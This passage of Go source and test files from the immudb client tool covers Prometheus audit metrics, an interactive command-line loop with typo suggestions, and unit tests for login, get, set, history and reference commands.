or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit import ( "fmt" "github.com/codenotary/immudb/pkg/api/schema" "github.com/prometheus/client_golang/prometheus" ) type prometheusMetrics struct { server_address string server_id string } var metricsNamespace = "immuclient" // Audit metrics var ( AuditResultPerServer = newAuditGaugeVec( "audit_result_per_server", "Latest audit result (1 = ok, 0 = tampered).", ) AuditCurrRootPerServer = newAuditGaugeVec( "audit_curr_root_per_server", "Current root index used for the latest audit.", ) AuditRunAtPerServer = newAuditGaugeVec( "audit_run_at_per_server", "Timestamp in unix seconds at which latest audit run.", ) AuditPrevRootPerServer = newAuditGaugeVec( "audit_prev_root_per_server", "Previous root index used for the latest audit.", ) ) func (p *prometheusMetrics) init(serverid string, immudbAddress, immudbPort string) { p.server_address = fmt.Sprintf("%s:%s", immudbAddress, immudbPort) p.server_id = serverid prometheus.MustRegister(AuditResultPerServer, AuditCurrRootPerServer, AuditRunAtPerServer, AuditPrevRootPerServer) AuditResultPerServer.WithLabelValues(p.server_id, p.server_address).Set(-1) AuditCurrRootPerServer.WithLabelValues(p.server_id, p.server_address).Set(-1) AuditRunAtPerServer.WithLabelValues(p.server_id, p.server_address).SetToCurrentTime() AuditPrevRootPerServer.WithLabelValues(p.server_id, p.server_address).Set(-1) } func newAuditGaugeVec(name string, help string) *prometheus.GaugeVec { return prometheus.NewGaugeVec( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: name, Help: help, }, []string{"server_id", "server_address"}, ) } func (p *prometheusMetrics) updateMetrics( serverID string, serverAddress string, checked bool, withError bool, result bool, prevState *schema.ImmutableState, currState *schema.ImmutableState, ) { var r float64 if checked && result { r = 1 } else if !checked && !withError { r = -1 } else if withError { r = -2 } prevRootTxID := -1. currRootTxID := -1. if withError { prevRootTxID = -2. currRootTxID = -2. } if prevState != nil { prevRootTxID = float64(prevState.TxId) } if currState != nil { currRootTxID = float64(currState.TxId) } AuditResultPerServer. WithLabelValues(p.server_id, p.server_address).Set(r) AuditPrevRootPerServer. WithLabelValues(p.server_id, p.server_address).Set(prevRootTxID) AuditCurrRootPerServer. WithLabelValues(p.server_id, p.server_address).Set(currRootTxID) AuditRunAtPerServer. WithLabelValues(p.server_id, p.server_address).SetToCurrentTime() } ================================================ FILE: cmd/immuclient/audit/metrics_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit import ( "testing" ) func TestMetrics(t *testing.T) { p := prometheusMetrics{} p.init("serverid", "localhost", "12345") if p.server_id != "serverid" || p.server_address != "localhost:12345" { t.Fatal("fail prometheus init") } } ================================================ FILE: cmd/immuclient/audit/utils.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit func stringInSlice(a string, list []string) bool { for _, b := range list { if b == a { return true } } return false } ================================================ FILE: cmd/immuclient/audit/utils_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit import ( "testing" ) func TestStringInSlice(t *testing.T) { myslice := []string{"app1", "app2", "app3"} if !stringInSlice("app1", myslice) { t.Fatal("stringInSlice failed, expected true, returned false") } if stringInSlice("app5", myslice) { t.Fatal("stringInSlice failed, expected false, returned true") } } ================================================ FILE: cmd/immuclient/cli/cli.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "errors" "fmt" "io" "os" "runtime" "strings" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immuclient/immuc" "github.com/peterh/liner" "github.com/spf13/viper" ) type cli struct { commands map[string]*command immucl immuc.Client commandsList []*command helpMessage string valueOnly bool isLoggedin bool } // Cli ... type Cli interface { Run() HelpMessage() string } // Init ... func Init(immucl immuc.Client) Cli { cli := new(cli) cli.immucl = immucl cli.valueOnly = viper.GetBool("value-only") cli.commands = make(map[string]*command) cli.commandsList = make([]*command, 0) cli.initCommands() cli.helpInit() return cli } func (cli *cli) Register(cmd *command) { cli.commandsList = append(cli.commandsList, cmd) cli.commands[cmd.name] = cmd } func (cli *cli) HelpMessage() string { return cli.helpMessage } func (cli *cli) helpInit() { var namelen, shortlen int name := make([]string, 0) short := make([]string, 0) args := make([]string, 0) for i := range cli.commandsList { if len(cli.commandsList[i].name) > namelen { namelen = len(cli.commandsList[i].name) } if len(cli.commandsList[i].short) > shortlen { shortlen = len(cli.commandsList[i].short) } name = append(name, cli.commandsList[i].name) short = append(short, cli.commandsList[i].short) if len(cli.commandsList[i].args) == 0 { args = append(args, "") } else { args = append(args, strings.Join(cli.commandsList[i].args, ",")) } } str := strings.Builder{} for i := range name { str.WriteString(immuc.PadRight(name[i], " ", namelen+2)) str.WriteString(immuc.PadRight(short[i], " ", shortlen+2)) if len(args[i]) > 0 { str.WriteString("args: " + args[i]) } str.WriteString("\n") } str.WriteString("\n") cli.helpMessage = str.String() } func (cli *cli) Run() { l := liner.NewLiner() l.SetCompleter(cli.completer) defer l.Close() for { line, err := l.Prompt("immuclient>") if err == liner.ErrInvalidPrompt { if len(line) == 0 { break } else { continue } } else if err == io.EOF { break } if err != nil { fmt.Fprintln(os.Stderr, err) } l.AppendHistory(line) line = strings.TrimSuffix(line, "\n") arrCommandStr := strings.Fields(line) if len(arrCommandStr) == 0 { continue } passed := cli.checkCommand(arrCommandStr, l) if passed { cli.runCommand(arrCommandStr) } if err != nil { fmt.Fprintln(os.Stderr, err) } } } func (cli *cli) checkCommand(arrCommandStr []string, l *liner.State) bool { if arrCommandStr[0] == "exit" || arrCommandStr[0] == "quit" { if cli.isLoggedin { logoutmsg, _ := cli.logout(nil) fmt.Println(logoutmsg) } l.Close() os.Exit(0) } switch arrCommandStr[0] { case "--help": fmt.Fprint(os.Stdout, cli.helpMessage) return false case "help": fmt.Fprint(os.Stdout, cli.helpMessage) return false case "-h": fmt.Fprint(os.Stdout, cli.helpMessage) return false case "clear": cleaner, ok := clear[runtime.GOOS] if !ok { fmt.Fprintf(os.Stdout, "ERROR: %s \n", "Current OS not supporting for this command.") return false } cleaner() return false } if len(arrCommandStr) == 2 && (arrCommandStr[1] == "--help" || arrCommandStr[1] == "-h") { helpline, err := cli.singleCommandHelp(arrCommandStr[0]) if err != nil { suggestions := cli.correct(arrCommandStr[0]) str := strings.Builder{} str.WriteString(fmt.Sprintf("ERROR: %s | %s \n", "Command not found ", arrCommandStr[0])) if len(suggestions) != 0 { str.WriteString("Did you mean this ?\n") for i := range suggestions { str.WriteString(fmt.Sprintf(" %s \n", suggestions[i])) } } str.WriteString("Run --help for usage \n") fmt.Fprint(os.Stdout, str.String()) return false } fmt.Fprintf(os.Stdout, "%v \n", helpline) return false } return true } func (cli *cli) runCommand(arrCommandStr []string) { command, ok := cli.commands[arrCommandStr[0]] if !ok { suggestions := cli.correct(arrCommandStr[0]) str := strings.Builder{} str.WriteString(fmt.Sprintf("ERROR: %s | %s \n", "Unknown command ", arrCommandStr[0])) if len(suggestions) != 0 { str.WriteString("\n") str.WriteString("Did you mean this ?\n") for i := range suggestions { str.WriteString(fmt.Sprintf(" %s \n", suggestions[i])) } } str.WriteString("\n") str.WriteString("Run --help for usage \n") fmt.Fprint(os.Stdout, str.String()) return } if len(arrCommandStr[1:]) < len(command.args) { fmt.Fprintf(os.Stdout, "ERROR: Not enough arguments | %s needs %v , have %v . Use [command] --help for documentation. \n", command.name, len(command.args), len(arrCommandStr[1:])) return } valOnly := false if !command.variable && len(arrCommandStr[1:]) > len(command.args) { redunantArgs := make([]string, 0) excessargs := arrCommandStr[len(command.args):] for i := 1; i < len(excessargs); i++ { if !strings.HasPrefix(excessargs[i], "-") { redunantArgs = append(redunantArgs, excessargs[i]) } else { if excessargs[i] == "--value-only" && !cli.valueOnly { valOnly = true } } } if len(redunantArgs) > 0 { fmt.Fprintf(os.Stdout, "INFO: Redunant argument(s) | %v \n", redunantArgs) } } if valOnly { cli.immucl.SetValueOnly(true) } result, err := command.command(arrCommandStr[1:]) if valOnly { cli.immucl.SetValueOnly(false) } if err != nil { fmt.Fprintf(os.Stdout, "ERROR: %s \n", helper.UnwrapMessage(err)) return } fmt.Fprintf(os.Stdout, "%v \n", result) } func (cli *cli) singleCommandHelp(cmdName string) (string, error) { cmd, ok := cli.commands[cmdName] if !ok { return "", errors.New("not found") } args := "" if len(cmd.args) > 0 { args = strings.Join(cmd.args, ",") } return fmt.Sprintf("%s %s args:%s", cmd.name, cmd.short, args), nil } ================================================ FILE: cmd/immuclient/cli/cli_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "os" "path" "testing" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/client" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/peterh/liner" "github.com/stretchr/testify/require" ) func TestInit(t *testing.T) { cli := Init(nil) require.NotEmpty(t, cli.HelpMessage()) } func setupTest(t *testing.T) *cli { cli := new(cli) cli.commands = make(map[string]*command, 0) cli.commandsList = make([]*command, 0) cli.initCommands() cli.helpInit() options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() t.Cleanup(func() { bs.Stop() }) ts := tokenservice.NewInmemoryTokenService() ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic.Connect(bs.Dialer) ic.Login("immudb") cli.immucl = ic.Imc return cli } func TestRunCommand(t *testing.T) { cli := setupTest(t) msg := test.CaptureStdout(func() { cli.runCommand([]string{"set", "key", "value"}) }) require.Contains(t, msg, "value") } func TestRunCommandExtraArgs(t *testing.T) { cli := setupTest(t) msg := test.CaptureStdout(func() { cli.runCommand([]string{"set", "key", "value", "value"}) }) require.Contains(t, msg, "Redunant argument") } func TestRunMissingArgs(t *testing.T) { cli := setupTest(t) msg := test.CaptureStdout(func() { cli.runCommand([]string{"set", "key"}) }) require.Contains(t, msg, "Not enough arguments") } func TestRunWrongCommand(t *testing.T) { cli := setupTest(t) msg := test.CaptureStdout(func() { cli.runCommand([]string{"fet", "key"}) }) require.Contains(t, msg, "ERROR: Unknown command") } func TestCheckCommand(t *testing.T) { cli := setupTest(t) l := liner.NewLiner() msg := test.CaptureStdout(func() { cli.checkCommand([]string{"--help"}, l) }) require.NotEmpty(t, msg, "Help must not be empty") msg = test.CaptureStdout(func() { cli.checkCommand([]string{"set", "-h"}, l) }) require.NotEmpty(t, msg, "Help must not be empty") msg = test.CaptureStdout(func() { cli.checkCommand([]string{"met", "-h"}, l) }) require.Contains(t, msg, "Did you mean this", "Help is empty") } func TestCheckCommandErrors(t *testing.T) { cli := new(cli) require.False(t, cli.checkCommand([]string{"--help"}, nil)) require.False(t, cli.checkCommand([]string{"help"}, nil)) require.False(t, cli.checkCommand([]string{"-h"}, nil)) require.False(t, cli.checkCommand([]string{"clear"}, nil)) require.True(t, cli.checkCommand([]string{"unknown"}, nil)) } func TestImmuClient_BackupAndRestoreUX(t *testing.T) { stateFileDir := path.Join(t.TempDir(), "testStates") dir := path.Join(t.TempDir(), "data") dirAtTx3 := path.Join(t.TempDir(), "dataTx3") options := server.DefaultOptions().WithDir(dir) bs := servertest.NewBufconnServer(options) uuid := bs.GetUUID() err := bs.Start() require.NoError(t, err) cliOpts := client. DefaultOptions(). WithDir(stateFileDir) cliOpts.CurrentDatabase = client.DefaultDB ts := tokenservice.NewInmemoryTokenService() ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, cliOpts) ic.Connect(bs.Dialer) ic.Login("immudb") cl := new(cli) cl.immucl = ic.Imc _, err = cl.safeset([]string{"key1", "val"}) require.NoError(t, err) _, err = cl.safeset([]string{"key2", "val"}) require.NoError(t, err) _, err = cl.safeset([]string{"key3", "val"}) require.NoError(t, err) err = bs.Stop() require.NoError(t, err) copier := fs.NewStandardCopier() err = copier.CopyDir(dir, dirAtTx3) require.NoError(t, err) bs = servertest.NewBufconnServer(options) require.NoError(t, err) bs.SetUUID(uuid) err = bs.Start() require.NoError(t, err) cliOpts = client. DefaultOptions(). WithDir(stateFileDir) cliOpts.CurrentDatabase = client.DefaultDB ic = test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, cliOpts) ic.Connect(bs.Dialer) ic.Login("immudb") cl = new(cli) cl.immucl = ic.Imc _, err = cl.safeset([]string{"key1", "val"}) require.NoError(t, err) _, err = cl.safeset([]string{"key2", "val"}) require.NoError(t, err) _, err = cl.safeset([]string{"key3", "val"}) require.NoError(t, err) err = bs.Stop() require.NoError(t, err) os.RemoveAll(dir) err = copier.CopyDir(dirAtTx3, dir) require.NoError(t, err) bs = servertest.NewBufconnServer(options) require.NoError(t, err) bs.SetUUID(uuid) err = bs.Start() require.NoError(t, err) cliOpts = client. DefaultOptions(). WithDir(stateFileDir) cliOpts.CurrentDatabase = client.DefaultDB ic = test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, cliOpts) ic.Connect(bs.Dialer) ic.Login("immudb") cl = new(cli) cl.immucl = ic.Imc _, err = cl.safeGetKey([]string{"key3"}) require.Equal(t, client.ErrServerStateIsOlder, err) } ================================================ FILE: cmd/immuclient/cli/currentstatus.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli func (cli *cli) health(args []string) (string, error) { return cli.immucl.DatabaseHealth(args) } func (cli *cli) currentState(args []string) (string, error) { return cli.immucl.CurrentState(args) } ================================================ FILE: cmd/immuclient/cli/currentstatus_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli /* import ( "github.com/codenotary/immudb/pkg/client" "github.com/stretchr/testify/assert" "strings" "testing" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestCurrentRoot(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic. Connect(bs.Dialer) ic.Login("immudb") cli := new(cli) cli.immucl = ic.Imc _, err := cli.safeset([]string{"key", "val"}) assert.NoError(t, err) msg, err := cli.currentRoot([]string{""}) require.NoError(t, err, "CurrentRoot fail") require.Contains(t, msg, "hash", "CurrentRoot failed") } */ ================================================ FILE: cmd/immuclient/cli/getcommands.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli func (cli *cli) getTxByID(args []string) (string, error) { return cli.immucl.GetTxByID(args) } func (cli *cli) getKey(args []string) (string, error) { return cli.immucl.Get(args) } func (cli *cli) safeGetKey(args []string) (string, error) { return cli.immucl.VerifiedGet(args) } ================================================ FILE: cmd/immuclient/cli/getcommands_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli /* import ( "github.com/codenotary/immudb/pkg/client" "strings" "testing" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestGetByIndex(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic. Connect(bs.Dialer) ic.Login("immudb") cli := new(cli) cli.immucl = ic.Imc _, _ = cli.safeset([]string{"key", "val"}) msg, err := cli.getByIndex([]string{"0"}) require.NoError(t, err, "GetByIndex fail") require.Contains(t, msg, "hash", "GetByIndex failed") } func TestGetKey(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic. Connect(bs.Dialer) ic.Login("immudb") cli := new(cli) cli.immucl = ic.Imc _, _ = cli.set([]string{"key", "val"}) msg, err := cli.getKey([]string{"key"}) require.NoError(t, err, "GetKey fail") require.Contains(t, msg, "hash", "GetKey failed") } func TestRawSafeGetKey(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic. Connect(bs.Dialer) ic.Login("immudb") cli := new(cli) cli.immucl = ic.Imc _, _ = cli.set([]string{"key", "val"}) msg, err := cli.rawSafeGetKey([]string{"key"}) require.NoError(t, err, "RawSafeGetKey fail") require.Contains(t, msg, "hash", "RawSafeGetKey failed") } func TestSafeGetKey(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic. Connect(bs.Dialer) ic.Login("immudb") cli := new(cli) cli.immucl = ic.Imc _, _ = cli.set([]string{"key", "val"}) msg, err := cli.safeGetKey([]string{"key"}) require.NoError(t, err, "SafeGetKey fail") require.Contains(t, msg, "hash", "SafeGetKey failed") } func TestGetRawBySafeIndex(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic. Connect(bs.Dialer) ic.Login("immudb") cli := new(cli) cli.immucl = ic.Imc _, _ = cli.set([]string{"key", "val"}) msg, err := cli.getRawBySafeIndex([]string{"0"}) require.NoError(t, err, "GetRawBySafeIndex fail") require.Contains(t, msg, "hash", "GetRawBySafeIndex failed") } */ ================================================ FILE: cmd/immuclient/cli/login.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli func (cli *cli) login(args []string) (string, error) { return cli.immucl.Login(args) } func (cli *cli) logout(args []string) (string, error) { return cli.immucl.Logout(args) } ================================================ FILE: cmd/immuclient/cli/login_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/stretchr/testify/require" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestLogin(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewInmemoryTokenService() ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic.Connect(bs.Dialer) cli := new(cli) cli.immucl = ic.Imc cli.immucl.WithFileTokenService(ts) msg, err := cli.login([]string{"immudb"}) require.NoError(t, err) require.Contains(t, msg, "immudb user has the default password", "Login failed") msg, err = cli.logout([]string{"immudb"}) require.NoError(t, err) require.Contains(t, msg, "Successfully logged out", "Login failed") } ================================================ FILE: cmd/immuclient/cli/misc.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "github.com/codenotary/immudb/cmd/version" ) func (cli *cli) history(args []string) (string, error) { return cli.immucl.History(args) } func (cli *cli) healthCheck(args []string) (string, error) { return cli.immucl.HealthCheck(args) } func (cli *cli) version(args []string) (string, error) { return version.VersionStr(), nil } ================================================ FILE: cmd/immuclient/cli/misc_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/stretchr/testify/require" ) func TestHealthCheck(t *testing.T) { cli := setupTest(t) msg, err := cli.healthCheck([]string{}) require.NoError(t, err, "HealthCheck fail") require.Contains(t, msg, "Health check OK", "HealthCheck fail") } func TestHistory(t *testing.T) { cli := setupTest(t) msg, err := cli.history([]string{"key"}) require.NoError(t, err, "History fail") require.Contains(t, msg, "key not found", "History fail") _, err = cli.set([]string{"key", "value"}) require.NoError(t, err, "History fail") msg, err = cli.history([]string{"key"}) require.NoError(t, err, "History fail") require.Contains(t, msg, "value", "History fail") } func TestVersion(t *testing.T) { cli := setupTest(t) msg, err := cli.version([]string{"key"}) require.NoError(t, err, "version fail") require.Contains(t, msg, "no version info available", "version fail") } ================================================ FILE: cmd/immuclient/cli/recommend.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "strings" ) func (cli *cli) correct(typedArg string) []string { suggestions := make([]string, 0) for _, cmd := range cli.commandsList { levenshteinDistance := ld(typedArg, cmd.name, true) suggestByLevenshtein := levenshteinDistance <= 2 suggestByPrefix := strings.HasPrefix(strings.ToLower(cmd.name), strings.ToLower(typedArg)) if suggestByLevenshtein || suggestByPrefix { suggestions = append(suggestions, cmd.name) } } return suggestions } func ld(s, t string, ignoreCase bool) int { if ignoreCase { s = strings.ToLower(s) t = strings.ToLower(t) } d := make([][]int, len(s)+1) for i := range d { d[i] = make([]int, len(t)+1) } for i := range d { d[i][0] = i } for j := range d[0] { d[0][j] = j } for j := 1; j <= len(t); j++ { for i := 1; i <= len(s); i++ { if s[i-1] == t[j-1] { d[i][j] = d[i-1][j-1] } else { min := d[i-1][j] if d[i][j-1] < min { min = d[i][j-1] } if d[i-1][j-1] < min { min = d[i-1][j-1] } d[i][j] = min + 1 } } } return d[len(s)][len(t)] } ================================================ FILE: cmd/immuclient/cli/recommend_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/stretchr/testify/assert" ) func TestCorrect(t *testing.T) { cli := new(cli) cli.commands = make(map[string]*command) cli.commandsList = make([]*command, 0) cli.initCommands() cm := cli.correct("let") assert.EqualValues(t, 2, len(cm)) cm = cli.correct("safe") assert.EqualValues(t, 4, len(cm)) } ================================================ FILE: cmd/immuclient/cli/references.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli func (cli *cli) reference(args []string) (string, error) { return cli.immucl.SetReference(args) } func (cli *cli) safereference(args []string) (string, error) { return cli.immucl.VerifiedSetReference(args) } ================================================ FILE: cmd/immuclient/cli/references_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/stretchr/testify/require" ) func TestReference(t *testing.T) { cli := setupTest(t) _, _ = cli.set([]string{"key", "val"}) msg, err := cli.reference([]string{"val", "key"}) require.NoError(t, err, "Reference fail") require.Contains(t, msg, "value", "Reference failed") } func TestSafeReference(t *testing.T) { t.SkipNow() cli := setupTest(t) _, _ = cli.set([]string{"key", "val"}) msg, err := cli.safereference([]string{"val", "key"}) require.NoError(t, err, "SafeReference fail") require.Contains(t, msg, "value", "SafeReference failed") } ================================================ FILE: cmd/immuclient/cli/register.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli type command struct { name string short string command func(args []string) (string, error) args []string variable bool } func (cli *cli) initCommands() { // Auth cli.Register(&command{"login", "Login using the specified username and password", cli.login, []string{"username"}, false}) 